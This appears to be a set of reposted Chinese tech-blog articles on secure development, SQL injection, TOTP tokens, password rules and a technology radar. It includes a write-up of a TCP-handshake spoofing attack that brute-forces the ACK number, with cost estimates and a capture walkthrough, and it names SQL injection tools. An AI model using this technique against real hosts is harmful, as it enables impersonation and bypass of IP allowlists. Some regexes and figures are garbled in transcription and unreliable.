应用中的安全漏洞是在开发过程当中由于各种原因被引入的,然而回顾现有的安全措施就会发现,其中大量的措施发生在应用程序开发过程之外,例如WAF、安全监控发生在产品上线之后,渗透测试需要等待开发完毕后才能进行,而安全培训、安全规范只能起到预防作用。尽管各种安全措施都能为开发团队提供不同程度的安全反馈信息,然而问题在于,大量的安全措施都发生在开发过程之外,距离安全问题被引入的时间点之间有很长的距离,因此安全问题不能及时的反馈给开发团队。

此外,由于不少安全措施的成本高、耗时长,因此难以持续性的为开发团队提供安全反馈。例如聘请第三方安全公司对应用进行安全渗透测试的价格较高,且往往需要几天甚至更多时间才能收到安全报告。

3. 更好的解决安全问题

安全漏洞本质上是软件质量缺陷,安全性是软件质量的重要组成部分,而现如今应用安全面临的问题和多年以前软件测试面临的问题极其相似。当时人们在开发软件的时候,采取的做法往往是在软件开发临近结束之时集中性的进行测试,修复发现的质量缺陷,结果是当时的软件质量普遍不高,不少项目因此失败。

为了提高软件质量,开发团队采取了一些措施,例如将测试介入的时间点提前,尽早进行测试,甚至是先写测试后写实现代码,与此同时也大量采用自动化测试来加快测试执行速度,采用构建流水线持续关注软件质量,并且每位团队成员都对软件质量负责,而不再认为只是测试人员的职责。这些措施之所以能够显著提高软件质量,关键在于它们能够更加高效的为开发团队提供软件质量相关的反馈信息,使得开发团队能够基于反馈结果迅速进行改进。

同理,要更好的解决安全问题,开发团队应当建立起一个高效的安全反馈机制,在开发过程中引入一些安全活动,尽早开始收集安全反馈信息,加快获取安全反馈的速度,在整个开发过程中持续性的关注应用的安全性,与此同时团队成员共同来承担安全职责。我们将这些在实践中总结出来的经验命名为内建安全的软件开发方式(Build Security In DnA,下文简称BSI),从源头上尽早、尽快、持续性的,以团队共同协作的方式发现并解决安全问题。

image_3

图 3-1 内建安全的软件开发方式 (Build Security In)

3.1 尽早获取安全反馈

越早获取到安全反馈信息,越有利于开发团队以更低的成本将其修复。一个反面例子是,安全问题在早期就已经引入了,但是只能通过后期的渗透测试才能暴露出来,安全反馈信息经历了很长一段时间才能反馈给开发团队。与其依赖于后期的渗透测试,不如在开发过程当中引入一些适当的安全实践,比如在分析业务需求的同时主动分析安全需求,将其作为质量验收标准在团队内明确出来,再比如,针对每次代码提交都对其进行安全评审、测试人员在测试业务功能的同时还对安全性进行验证。通过这种方式,使得团队能够尽快得知应用的安全状况,而不必依赖于很晚才能提供安全反馈的渗透测试。

image_4

图 3-2 在开发过程当中引入安全实践

3.2 通过自动化加速获取安全反馈的速度

从安全角度对代码进行的评审,以及测试人员主动进行安全测试等等手段都能更早的产出安全性的反馈信息,但是传统的安全测试、渗透测试主要是以手动的方式进行,造成的结果是需要耗费许多时间才能收集到安全反馈信息。更好的做法是,对于常规的安全测试可以借助工具以自动化的方式进行,不仅能够以更快的速度得到安全性反馈,还能在一定程度上弥补由于人员安全技能不足所造成的安全测试不够全面的问题。自动化带来的另外的好处是,它可以集成入CI服务器,从而让开发团队可以在CI流水线完成之后第一时间发现应用的常规安全问题,而不必等到上线前由安全专家来发现安全问题。

例如,应用通常依赖于各种第三方组件,这些组件可能含有已知的安全漏洞,手工对每个组件进行安全检查是行不通的,更好的做法是利用自动化的检查工具如OWASP Dependency Check,以更快的速度对组件进行安全检查并且生成结果报告。这一过程是完全自动化的,开发团队只需定期检查报告即可,使得开发团队获取反馈的速度得到极大的提升。

3.3 在开发过程中持续性的关注安全

收集安全反馈不是一次性的活动,高效的安全反馈机制和持续集成秉持相同的理念:除了尽早集成、尽快集成之外,很重要的一点就是让集成活动能够持续性的发生。类似的,对于建立高效的安全反馈机制而言,在能够尽早、快速的获取安全反馈的同时,还需要让这个反馈循机制在应用开发过程中持续的运行下去。

自动化使得开发团队能够更容易的做到对安全的持续关注。例如,将自动化的代码安全扫描和持续集成服务器结合起来,这样在每次代码提交后都能得到一份安全报告,从而可以立刻着手进行相应的修复。此外,对于那些不适合自动化运行的安全实践而言,开发团队依然有必要持续性的去做。例如,每当应用的功能发生变更之时都应该进行一次威胁建模以分析安全威胁,明确安全需求,每当新的功能被开发出来,测试人员都要对其安全性进行验证。

image_5

图 3-3 对安全保持持续性的关注

3.4 团队成员共同承担安全职责

大多数人认为团队中的测试人员应该对产品的安全负责,理由是他们要进行各种测试,安全测试理应包含在内。如果有专门的安全团队,则更多的人会认为安全团队应该主导产品的安全性,毕竟,在他们眼里这是安全团队天生的职责。

但这是一种误解,只要人们认为安全应该由团队中的某个角色或者某个独立的团队负责,就容易形成消极的氛围:既然有专门的人在负责产品安全,那就说明安全不是自己的职责,等发现安全问题了再说。这种氛围会带来很多负面影响,例如:安全问题难以及早发现并解决,人员安全技能得不到锻炼,安全改进在团队内难以推动,等等。

和传统的高度依赖于某个角色或者安全团队来保证产品安全的做法不同,BSI则是把安全职责拆分到团队中的每个角色身上,让所有人都参与进来,共同协作解决安全问题。每个人都肩负着维护产品安全性的责任,主动为此付出努力。

业务分析人员在分析业务需求的同时把产品的安全性纳入考虑的范围之内,如果他们没有相关的安全技能,则可以和技术人员合作共同来完成这一任务,与此同时,开发人员在编码的过程中有意识的去避开安全风险,并协助测试人员对产品进行安全测试。在产品交给安全团队进行安全审查之前,一些安全漏洞已经被发现并修复了,甚至在需求分析之时就已经被规避了。此时的产品已经具备了一定的安全性,也为安全团队争取到了更多的时间,使得他们可以把更多的精力放在检测深层次安全漏洞上面。

通过这种共同分担职责的方式,开发团队在应对安全问题上的内部凝聚力会得到增强,团队成员会更有意愿和动力去提升自己的安全能力。更重要的是,这种做法可以使得团队成员以及安全团队能更好的进行协作,从而逐渐形成良性循环。

image_6

图 3-4 共同承担安全职责

4. 总结

安全,是每个企业都需要做到的,在互联网时代更是重中之重。企业正面临着全新的安全挑战,然而现有的一些传统安全措施却并不能高效的解决这些问题,主要的原因在于过度依赖WAF、渗透测试等被动防御手段,往往是在比较晚的时候才获取的安全反馈,导致安全问题修复成本高昂,甚至使企业陷入进退两难的局面。

为了提高应用的安全性,并且弥补传统安全措施的不足,Build Security In应运而生:在软件开发过程中引入合适的安全实践以尽早发现安全问题,利用自动化的优势缩短安全问题的反馈周期,持续的、以共同协作的方式主动预知并化解安全问题。在减轻开发团队和安全团队负担的同时,提高发现、解决安全问题的效率。

安全不是绝对的,所以BSI对于安全的保证也是相对的,但是对于业务越来越复杂,规模越来越庞大的软件系统,BSI这种内建安全的软件开发方式必将从源头上减少安全风险,降低被黑客攻击的可能,从而显著减少系统在上线使用后因安全问题造成的损失,使其在互联网的大潮中生存下来。

内建安全的软件开发,首发于文章 – 伯乐在线

SQL 注入,永不过时的黑客技术

TalkTalk的信息泄漏事件导致约15万人的敏感信息被暴露,涉嫌造成这一事件的其中一名黑客使用的并不是很新的技术。事实上,该技术的「年纪」比这名15岁黑客还要大两岁。

[译注:TalkTalk是英国电话和宽带供应商,这件信息安全事故发生在2015年10月份,当时这件事情还挺轰动的,上了新闻头条,其中一名黑客年仅15岁。]

这项技术就是大名鼎鼎的SQL注入,所谓SQL注入就是黑客在网站的提交表单数据中输入恶意命令从而获取数据的方法。它曾经被用来窃取世界卫生组织员工的信息,偷过华尔街日报数据,甚至还攻击过美国联邦政府机构。

“这是最简单的黑客技术”,w0rm 告诉 Motherboard[译者注:Motherboard就是这篇文章原文所在网站],他是一名匿名黑客,声称对华尔街日报的攻击负责。整个攻击过程只用了几个小时。

但是,正因为它是比较简单的技术,同时经常被用来从公司或者政府机构窃取数字信息,所以SQL注入攻击应该相对来说比较容易防范才对。

但为何到了2015年,SQL注入攻击仍然能导致最大规模的信息泄漏事件呢?

有迹可循的最早SQL注入攻击的记录大概是Jeff Forristal在黑客杂志Phrack上发表的文章。Forristal当时是rain.forest.puppy的掌舵人[译者注:rain.forest.puppy是一个安全咨询组织,或者说,是个黑客团队?:)],他目前在网络安全公司Bluebox,负责移动安全方面的CTO。

“微软声称,你看到的都不是问题,所以不用费心去处理它”

[译者注:这是有人给微软报告SQL server这个漏洞时,微软的回复]

SQL, 全称为结构化查询语言,是一种用来管理数据库的编程语言。本质上说,他就是被网站用来从数据库中提取一些数据来处理或者展示给用户的。

但是Forristal发现,当输入特定的命令时,会导致服务器泄漏信息。“用户可能捎带一些自己的SQL语句”,他写道。

在Phrack的1998年12月份期刊上,Forristal发表了微软的SQL server的一系列SQL注入的问题。当Forristal的同事们向微软反馈此问题时,“他们的回答是:好了,别闹了”,他写道,“他们说,你看到的都不是问题,所依别费心去处理了”

SQL注入发展到今天,已经过去了15年,在OWASP组织每三年发表一次的OWASP的Top 10问题上,SQL注入攻击经常坐上榜首的位置。OWSAP全称是开放式Web应用程序安全项目(Open Web Application Security Project),它是一个监控网站面临哪些安全威胁的非盈利性组织。

Phrack现在的logo

“SQL注入经常是第一威胁,主要反映在相关攻击事件的数量上,同时还有一些其他因素导致它如此频发,” Troy Hunt在Motherboard的一次电话采访中如是说道,Troy Hunt是攻击检测网站haveibeenpwned.com的创始人[译者注:感觉像是一个社工库]

“当你访问一个网页时,你发出一个请求,然后渲染服务器返回的数据”, Hunt介绍,“举个例子,你看一篇新闻,在地址栏上使用id=‘1’来发出请求时,服务器返回编号为1的文章,把id改成2的时候,服务器返回编号为2的文章”

但是,“使用SQL注入攻击,攻击者可能会将ID字段改成一个其他什么东西,导致服务器做一些意料之外的事情”,Hunt继续说到,比如返回一些隐私数据。

一次攻击也许只返回一条或者一段信息,于是攻击者就“不断重复攻击,一次又一次,想干几次干几次,直到他们获取到所有数据为止”,Hunt说。

显然,这需要一段比较长的时间,所以,黑客一般会使用自动化工具。其中比较具有代表性的事Havij,“这是最流行的脚本小工具,因为它支持Windows操作系统,而且还有个图形界面”, Mustafa AI-Bassam通过在线聊天工具和Motherboard如此描述,他是一名安全研究员,同时还是一名LulzSec黑客组织的前成员。

另一个经常被用到的工具是 sqlmap 。“它可以爬取网站的页面,就像搜索引擎的爬虫,寻找网站中所有输入表单,然后提交一些可能导致MySQL语法错误的数据”, AI-Bassam继续介绍。

当攻击者找到一个攻击点,接下来就很容易自动化开搞了。

sqlmap的界面

“他们会使用Google来搜索那些典型的容易受到SQL注入脚本攻击的URL”, AI-Bassam说。“他们还经常使用脚本来检查所有URL,用自动化的方法来试探是否存在漏洞”

“你甚至可以教一个4岁的孩子来做这种事情[译者注:汗~~我还不如个4岁的孩子]”, AI-Bassam补充道,强调这整个过程简单到令人发指的地步。确实,Hunt就曾经上传过一个视频,视频上显示他是怎么教他3岁的儿子用Havij来实施SQL注入攻击的[译者注:这是真爱啊,我坚决不会让我女儿走上计算机这条不归路]

“你把要攻击的URL输入进来,然后所有数据就出来了”,Hunt向Motherboard介绍道。在YouTube上有太多教程来介绍如何实施SQL注入攻击了。

事实上,已经有很多解决方案被网站开发人员用来防止SQL注入攻击了和避免客户信息或者公司信息泄漏了。而且那些解决方案一经存在好几年了。

所有这些解决方案的核心都是采用“prepared statments” (预编译声明?): 当SQL语句在数据库中执行是,绝对不能直接执行用户的输入。

如果这些解决方案直接有效,那为何SQL注入攻击还是这么猖獗呢?

“使用prepared staement的好处是它们可以从语义层面上杜绝任何在开发者意料之外的输入,这些输入可以通过构造一些SQL语法,让数据库查询语句从任意一张数据表中获取一条额外的数据”,Mike Schema在给Motherboard的一封email中如此说导,他是雅虎的一名高级经理、软件工程师。

另外一种做法是“使用SQL库对用户输入做一些净化操作”,AI-Bassam建议。简而言之,就是将输入中任何潜在的恶意部分去除掉。

那么,如果SQL注入如此简单,以至于小孩子都能用,而且解决方案又这么直接有效,为什么SQL注入攻击还这么猖獗呢?

“任何一名严谨的程序员都应该知道SQL注入攻击,但是仍然有大量的程序员缺乏经验,所以公司在雇佣某人的是偶,他可能没有受到过任何关于如何消除风险的训练”, AI-Bassam指出。除此之外,“他们的经理们往往只要求开发出能用的软件,而不是安全的软件”。

来自雅虎的Schema也认同这一点,并且补充“有些时候,一些小应用功能有限,要求很快就把东西做出来”,导致开发者经常忽略一些应对各种攻击的工作,尽管他们实施起来也不是很困难。

Hunt不是那么宽容,他也不认同所有的过错都来自于高层管理的压力。相反,他认为现在有网上有这么多教程详细的向开发人员讲解如何避免SQL注入攻击,对,是详细的教程,不仅仅是一些好的建议。“这些年,我看到很多有关如何避免明显的SQL注入风险的教程”,他说到。

随着互联网黑客们不停的在YouTube上分享他们的SQL注入攻击经验,网站的开发者们也没有闲着。“我们有能力的人站出来,分享他们的专业知识,而不仅仅是把自己的事情做好就行了”,Hunt说。

最后,这些网站的安全和他们的数据安全归根到底还是网站开发者自己负责的。这意味着SQL注入攻击和漏洞还会存在,至少在未来一段时间内不会消失。[译者注:估计原作者的意思是安全还是由开发者自己负责,不在于黑客不去攻击,自己开发的时候不注意,还是没办法避免被攻破的~~]

SQL 注入,永不过时的黑客技术,首发于博客 – 伯乐在线

如何伪造 TCP 握手?

据我们所知,这种攻击是新发现的。询问一下周围的人,几乎都认为TCP握手会对两侧的IP地址进行验证。这种攻击表明实际上并非如此。

在一个方提斯大学的合作项目中,我和Raoul Houkes研究不同的TCP攻击方式,要不就在协议层面,要不就针对具体的实现。我们发现了一种协议方面的攻击,它可以影响到所有正确的协议实现。

客户端A要与B建立连接,TCP握手的过程是这样的:

A:你好,B。我是A。发送序列号(SYN)是5。
B:你好,A。我是B,确认序列号(ACK)是5,发送序列号(SYN)是3。
A:你好,B。我是A,确认序列号(ACK)是3,发送序列号(SYN)是6。我要请求example.net。
B:你好,A。我是B,确认序列号(ACK)是6.发送序列号(SYN)是4。下面是你请求的结果:……

然后,A和B之间就可以相互通信了。对A或者B而言,每发送一个byte,序列号都会相应地增加。这样就可以跟踪是否所有的数据都被对方接收,保证可靠的传输。

在1981年,这种通讯方式被设计出来的时候,安全并没有那么重要。ARPANET适应单一网络,并且他们需要这样一个发送数据的协议:能够进行出错重传,错误校验,并且可以保持包的有序性等等。TCP解决了所有这些问题。

目前,这两个数字域,分别叫做发送序列号(SYN)和确认序列号(ACK),用来保证安全可靠的传输。但是,同时也存在两个问题:

  1. 这两个数字域都只有32字节,无法记录更大的数值。
  2. 由于它们的双重目的,序号不正确的报文会被丢弃,而不破坏连接。换言之,你可以发送一个ACK不正确的报文,然后再发送一个ACK正确的报文,正确的报文可以被接收。

A向B发送数据包,我们利用上面两个特性来进行攻击,大致过程如下:

A:你好B。我是C。发送序列号(SYN)是5。
B:你好C。我是B。确认序列号(ACK)是5。发送序列号(SYN)是3。
A:你好,B。我是C,确认序列号(ACK)是 1,发送序列号(SYN)是6。我要请求example.net。
B:你好C。我是B,你的报文不正确。请关闭连接。
A:你好,B。我是C,确认序列号(ACK)是2,发送序列号(SYN)是6。我请求example.net。
B:你好C,我是B。这是不正确的。请关闭连接。
A:你好B,我是C,确认序列号(ACK)是3。发送序列号(SYN)是6。我想请求example.net。
B:你好C,我是B,确认序列号(ACK)是6,发送序列号(SYN)是4,以下是你请求的结果……

在上面的案例中,主机A没有收到B的任何消息,B也不知道响应的是一个假的IP地址。主机A伪装成了C的IP地址。

这中攻击的先决条件之一是真正的C没有发送后续报文(或者RST报文),但是这非常容易实现,使用一个并不存在的C(比如0.0.0.0)或者利用防火墙(客户端一般都处于全状态防火墙的后面,或者是NAT, 也或者两者都有)。

B等待C(或者其他客户端)确认消息的时间是有限的。我在Linux4.2内核上做过实验,等待时间是20秒。20秒之后,你需要重新开始(发送下一个SYN),但是这没有什么意义,因为选择的序列号完全是随机的。

这种攻击的成本如何呢?平均而言,平均而言,需要耗费120GB的网络流量(60byte的因特网头,IP头和TCP头的组合)来创建一个虚假连接。也许你很不幸要花费200GB的流量,也可能很幸运只要72GB就够了。

简单调查表明很多VPS系统中1 gbps的带宽花不了多少钱。如果你能充分利用可用带宽,平均而言这种攻击17分钟11秒就够了。

通常你想注入有效载荷,例如,发送一个命令。这个命令需要拼接到已经存在的数据上,使得攻击耗费的流量更大。例如,发送“GET/HTTP/1.0nn”平均下来要花费了152GB或者20分钟。这可以在访问日志中展体现出来,虽然看上去是一个完美的正常连接。

这种攻击的其他案例还包括绕过黑名单或者白名单,比如在某些系统的管理接口上。这从90年代就非常流行,而且现在仍然广泛存在,很多新应用设备还是才用这种方式运行。

概念证明(Proof of concept,简写作PoC)

一个研究项目没有Poc像什么话呢?下面是一些Wireshark的截图,一个dump包,以及用到的代码。

(点击查看大图)

我筛选出了一些192.168.36.17捕获的相关包。第一个包是初始化包,192.168.36.11发送的,伪装的IP是192.168.36.18.。我们的目标主机向虚假IP 192.168.36.18发送响应报文。192.168.36.17开始猜测正确的ACK号。注意,时间从0.x秒增加到8.x秒,这里我把一些尝试过滤掉了。在某一时刻数字从2的32次方(4十多亿)到0,这时因为Wireshark给了我们一个相对的数字。这也意味着我们已经发现了正确的序号。我们向SSH服务器发送确认序列号(ACK)1,服务器收到这个序号后,开始响应。SSH服务器假定拥有的连接都是有效TCP连接。

以下是一些更详细的会话内容:

(点击查看大图)

Server选取的的随机数字是0x0006943f (或者 431167)。

(点击查看大图)

在某一时刻,我们脚本猜测出了0×00069440 (或者 431168),这是正确的数字,因为我们需要发送我们收到的数字加1。

(查看大图)

SSH服务器对此作出了响应,发送了一个标志有效连接开始的标题报文。

原始dump包只有15秒,因为我只在捕获了日志交替之前15秒的事件。感觉15秒时间并不长,但是这有5 544 384(550万)个包,几乎占领十亿字节的一半。如果你想看一下实际效果,可以运行下面提供的攻击代码攻击。

上面的看到的dump包可以点击下面的链接下载:

spoofed-tcp-connection.pcap

最后,进行攻击的代码也可以点击下面的链接下载:

attack-tcp.py

作为一个真正的PoC,以上代码是为了这个目的而写的,没有考虑可维护性。

结论

这种攻击很难避免,因为这是TCP协议的本身的特性造成的。只能漫无目的的猜测可能被注入的无效ACK,然后将它作为一个关闭连接的理由,但即便如此还是很容易受到攻击。

为了验证一次连接的双方,需要用到附加的安全验证方式例如TLS。即使证书没有被授权,一些加密的TLS会话还是要进行,因为有些附加的数据需要传送到客户端。这使得证明变得不可行。

经验总结:不要使用基于IP地址的授权,不要相信IP地址白名单,当需要安全验证(或者不可可抵赖)的时候考虑使用安全协议。
作为一个真正的PoC,以上代码是为了这个目的而写的,没有考虑可维护性。

如何伪造 TCP 握手?,首发于博客 – 伯乐在线

银行的动态口令令牌是什么原理

有网银的少年们一般都收到过银行给的这样一个令牌,俗称动态口令,在支付的时候输入自己的密码和动态口令上的动态密码,就能完成验证,银行就相信你不是坏人了,今天我们来简述一下这个动态口令令牌是个什么原理。

PS:本篇阅读可能需要读者有一些密码学基础,预警一下。

SID700.jpg

RSA SecurID SID700

如图的RSA SecurID SID700是当前市面上流行使用的动态口令令牌,在笔者准备资料的过程中发现国内描写动态口令的野生博客有不少谬误,其中大多是对银行这一套认证机制结构的不了解,所以首先要强调的是:

在大众用户手中的动态口令令牌,并不使用任何对称或者非对称加密的算法,在整个银行的认证体系中,动态口令令牌只是一个一次性口令的产生器,在其中运行的主要计算仅包括时间因子的计算和散列值的计算。

动态口令算法又叫一次性口令算法,英文写作OTP(One-Time Password Algorithm), 动态口令令牌使用的算法是OTP中的一类,TOTP(Time-Based One-Time Password Algorithm) — 时间同步型动态口令。

时间同步型动态口令产生口令的时候和时间有关系,我们可以通过其工作的原理图来看一下:

Screen Shot 2016-02-08 at 5.06.00 PM.png

图示给出了动态口令的工作原理,突出了整个认证机制中的动态口令部分,我们可以清楚看到在最左边和最右边有完全相同的两个流程,这里分别代表了用户的令牌卡和银行服务器的验证机器做的工作。本文的重点就在这两个完全相同的流程上。

在用户从银行手中拿到动态口令令牌卡的时候,在令牌卡的内部已经存储了一份种子文件(即图中钥匙所代表的seed),这份种子文件在银行的服务器里保存的完全一样的一份,所以对于动态口令令牌来说,这种方式是 share secret的。另外在令牌硬件上的设置中,假使有人打开了这个令牌卡,种子文件将会从令牌卡的内存上擦除(待考证)。

令牌卡中有了种子文件,并实现了 TOTP 算法,在预先设置的间隔时间里它就能不断产生不同的动态口令,并显示到屏幕上,而银行服务器上跟随时间做同样的计算,也会得到和令牌卡同样的口令,用作认证。

那么 TOTP 算法具体做了什么操作呢?在 RFC6238 中有详细的算法描述,这里也会做简单的叙述。

TOTP 是来自 HOTP [RFC4226] 的变形,从统筹上看,他们都是将数据文件进行散列计算,只是HOTP的因子是事件因子,TOTP将因子换成了时间因子,具体的TOTP计算公式(其中的HMAC-SHA-256 也可能是 HMAC-SHA-512):

TOTP = Truncate(HMAC-SHA-256(K,T))

其中: K 为这里的种子文件内容; T 为计算出来的时间因子

公式中的 HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。而公式中给出的哈希算法是 SHA-256,这种哈希算法目前并没有好的破解办法。

令牌卡中预先设置了要显示的口令长度,TOTP 中的 Truncate 操作剪切获得口令。

以上就是动态口令令牌卡的内部原理。

几点补充:

1.  时间同步型动态口令对令牌卡和服务器的时间同步要求很高,时间误差会造成整个令牌的失灵,所以每一次用户成功使用令牌认证,服务器都会做相应的时间误差矫正。

2. 种子文件的产生使用了一种AES-128 变形而来的算法, AES-128 也是目前顶尖级的对称加密技术。

3. 目前从加密技术上以及数学理论上整个银行机制的认证系统基本无解。

4. 欢迎勘误。

参考链接:

银行的动态口令令牌是什么原理,首发于博客 – 伯乐在线

不要再强迫我设置复杂密码

我最近读的一篇博文(伯乐在线注:请看本文最后),是关于强制使用更复杂的密码。原作者说这是为了更安全,但我认为这些技术不是最好的方式,比起「实用」来说,显得很麻烦。

问题

你想实施更安全的密码,我懂。但是,

请停止强迫我使用你那糟糕的密码规则 🙁

不让这篇文章那么严肃,我在试图做到这一点。我只是因为那篇文章有了灵感写下我的想法,不是针对作者。总之我是在和每一个在自己的网站和服务器使用这些密码规则的人讲话。我讨厌这些类型的规则:

'password' => [
    'required',
    'confirmed',
    'min:8',
    'regex:/^(?=S*[a-z])(?=S*[A-Z])(?=S*[d])S*$/',
];

密码必须包含 1 个大写字母,1 个小写字母和数字。

有了这样的一个规则,密码 Abcd1234 会通过你的有效性检测,但是 mu-icac-of-jaz-doad 不会。

我知道你大概是想让人们使用随机字符密码,像 i%Mk3c4n,但是你的规则实际上并没有这样执行,这些密码是个麻烦事而且不安全,除非它们足够长——使得它们成为更麻烦的事。打出这些密码很痛苦,尤其是在那些你没有安装密码管理器的手机和计算机上。

其次,使用不安全密码的人依旧会使用愚蠢的密码(比如 Loverboy1964),所以你没有帮助任何人。

停止强迫我使用你专制的规则并鼓励其他人这么做——我的密码是更好呢。

例子

那位博主允许使用的 2 个密码:

ecf66cbb9a_7cc829d3gw1f0bhdnvdxyj20z40mg77r

92e608a77b_7cc829d3gw1f0bhdojp0ej20zk0o0adw

下面这两个是那位博主不允许使用的密码:

3db8c04b92_7cc829d3gw1f0bhdp3w2vj20zg0ni424

07d907f9f8_7cc829d3gw1f0bhdpqnztj20z80ni428

解决方案

我不知道,但是如果你真的想要执行一些比此列表上的密码更安全的东西,那就不要强制不必要的复杂模式。你的验证规则,还是会让人继续用的原密码中的大部分,只是增加一个大写字母,或两三个数字。

(注1:此处提到的密码列表,里面都是 123456 、password、qwerty 之类的「愚蠢密码」)

相反,为什么不提高密码所需的最小长度,禁止 3 位或更长的数字序列 /[0-9]{3,}/?

你可以在那之后往前走一小步,不允许同样的字符在一行(相邻)重复两次以上 /(.)1{2,}/,而且还没有太多的麻烦。

这将消除大部分的困扰,并不会不必要地限制您的用户密码选择。

更新

更好的是,为什么不忘记所有这些规则,只使用一个最小密码强度要求。

fc81ac093e_7cc829d3gw1f0bhdqbiphj20ac022jr9

来自 reddit 网友 sarciszewski 的建议:

我不明白为什么那么多人不用 Zxcvbn。

我们并不特别关心你的密码包含了什么,只要密码强度估计量足够好就行。想要用2000个’A’构成一个ASCII penis来检测,zxcvbn 不会提醒你密码不包含小写字母不能使用而让你失望。

相关漫画

密码强度 (xkcd)

fc5ab6eb06_7cc829d3gw1f0bhdr2msvj20kk0gpn1i

 


《在 Laravel 中强制复杂密码的建议》英文原文

根据简单优雅的 Laravel 文档,我将快速介绍如何促进用户使用更好的密码。通过 Authentication 的标准文档,我们用一个注册表单来说明。在 Laravel 的 AuthController 中,我稍作了修改。

(伯乐在线补注:Laravel 是一个 PHP Web 开发框架。)

    protected function validator(array $data)
    {
        $messages = ['password.regex' => "Your password must contain 1 lower case character 1 upper case character one number"];
        return Validator::make($data, [
            'name' => 'required|max:255',
            'email' => 'required|email|max:255|unique:users',
            'password' => 'required|confirmed|min:8|regex:/^(?=\S*[a-z])(?=\S*[A-Z])(?=\S*[\d])\S*$/',
        ], $messages);
    }

使用文档 http://php.net/manual/en/function.preg-match.php 和 Laravel 文档的正则表达式规则,我可以设置一个表达式来检查这些字符,我还可以设置一个自定义消息如果失败。

通过这些微小的工作我们可以用一个错误消息来帮助用户设置更好的密码。

925473f4a9_7cc829d3gw1f0bhka30krj20j60anjs8

技术雷达 : 关于技术趋势的分析报告

就在刚刚过去的2015年11月份,ThoughtWorks又发布了最新一版的技术雷达。技术雷达是什么,来源以及如何运用,可以参考Neal Ford的一篇文章《Build Your Own Technology Radar》中文翻译】,这里就不再赘述。在本期的技术雷达中,提出了四个最新的技术动态,分别为:“Docker引爆容器生态系统”、“微服务及相关工具受到追捧”、“JavaScript工具正在趋于平稳”、“安全是每一个人的问题”。本文就主要围绕这四个最新的技术动态,阐述一下笔者个人的理解和分析。

Docker引爆容器生态系统

Docker现在非常火,作为一个开源的应用容器引擎,它的出现让容器技术的使用和管理变得非常简单,也促使更多的人开始关注和意识到容器技术的真正价值和威力。由于其基于LXC的轻量级虚拟化技术,相比于KVM之类传统的虚拟机技术最明显的特点就是启动快,资源利用率高。启动一个容器只需要几秒钟,在一台普通的PC上甚至可以启动成百上千的容器,这都是传统虚拟机技术很难做到的。目前容器技术已经被广泛应用在软件开发的各个阶段各个领域,例如用于管理开发环境、用于测试、构建项目和实施持续集成,当然也可以作为传统云平台虚拟化的替代方案,实现更为轻量更具弹性的云计算平台。

虽然上文提到的这些应用场景都是非常有价值的,但还不能体现Docker或是说容器技术如此火爆的原因。我们知道Container通常翻译为容器,但是还有另一个翻译就是集装箱,集装箱被很多人称为是21世纪最伟大的发明之一,它的发明和广泛使用甚至改变了世界的货物运输体系,促进了经济的全球化发展,《集装箱改变世界》这本书就是讲述了集装箱是如何改变世界的。而我们现在所提的容器技术和Docker,是不是也在致力于改变软件的世界,改变我们开发、测试、构建、部署、运维所有这些的现有方式呢?我觉得是有可能的,因为无论是集装箱还是容器技术都为我们带来了两个重要的好处:一致性和隔离

E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.27.22-1

我们知道一个产品是否可以正常提供服务,只去确保软件本身没有问题是远远不够的,需要同时保证软件、基础设施(例如硬件、操作系统和运行环境)以及配置的正确性和可靠性。而传统的软件开发方式,对于这三个方面的管理是分离的,再加上三者之间错综复杂的关系,就造成了我们常常挂在嘴边的“环境问题”。但是通过使用容器技术,我们如果将软件、基础设施和配置作为一个整体使用容器进行封装,产生一个个已经同时包含了软件以及其运行环境的经过严格测试检验的“包”。这样当部署“包”的时候就不需要再考虑环境的问题,也不需要关心现在部署的是一个Web服务还是一个数据库服务,要做的只是把一个个容器标准化地安装到指定的容器引擎即可。

E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.26.07-1

可能正是大家都看到了容器技术以及Docker对于软件开发各个领域正在带来的改变,容器技术的生态系统也在经历着一个快速发展的阶段,涉及到开发辅助、集群管理、服务编排、内容发现、云平台搭建等各种工具框架都一一呈现在我们面前,其中像Google和Amazon这样的巨头也都在第一时间发布了各自与容器相关的服务和框架。

1224-E78E8BE581A5-3

微服务及相关工具受到追捧

如果大家关注Docker,也肯定会经常听到一种与之相关的架构,也就是微服务架构:

“微服务架构是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合,为用户提供最终价值。每个服务运行在其独立的进程中,服务与服务间采用轻量级的通信机制互相沟通(通常是基于HTTP协议的RESTful API)。每个服务都围绕着具体业务进行构建,并且能够被独立的部署到生产环境、类生产环境等。另外,应当尽量避免统一的、集中式的服务管理机制,对具体的一个服务而言,应根据业务上下文,选择合适的语言、工具对其进行构建。”

这是Martin Fowler给出的对于微服务架构的定义,其中提到了微服务架构的四个特点:

  • 将单一的应用程序划分成一组小的服务
  • 每个服务运行在其独立的进程中
  • 轻量级的通信机制
  • 独立的部署到生产环境

我看过很多非常成功的公司在分享其系统架构演进历程时,往往最后都会落脚于服务拆分和业务服务化。其实这也不算是什么新的概念了,几年前流行的SOA面向服务架构就已经为我们描绘了一个服务化架构的美好前景。那为什么又提出了一种新的微服务架构呢?对于这个问题Martin Fowler在他的那篇《Microservices》也给出了他的回答。简要来说就是虽然这两种技术都是以服务化和组件化为目标,但是架构理念和技术策略上有太多的不同。例如上边提到的微服务架构的主要特点以及其倡导的演进式架构设计,去中心化的架构风格,采用轻量化通信机制,强调独立部署等都是与SOA所提倡的技术和思路有很大区别。微服务架构也更契合现代的技术发展趋势,例如RESTful API的流行,嵌入式应用服务器的应用,持续集成、持续交付的普及,容器技术爆发,组件化的趋势,云平台的发展等。

在引入微服务架构前,系统往往是以一个大的单体应用的形式存在的。此时任何功能的修改都需要重新构建部署整个应用,并且当需要水平扩展时也只能通过扩展整个应用的方式进行,无法做更细粒度的调度和控制。而当切换成微服务架构后,单一功能的修改只需要重新构建部署相应地服务即可,其他服务并不会受到影响。如果某个服务需要水平扩展时,我们也只需要扩展此服务即可。由此可见,微服务架构相比于传统的单体应用架构,可以极大的提高我们的资源利用效率和系统弹性。再加上通过服务化我们可以更容易的以组件的方式组合和重用现有服务,快速地构建出新的服务,使企业和产品更具竞争力。

1224-E78E8BE581A5-4

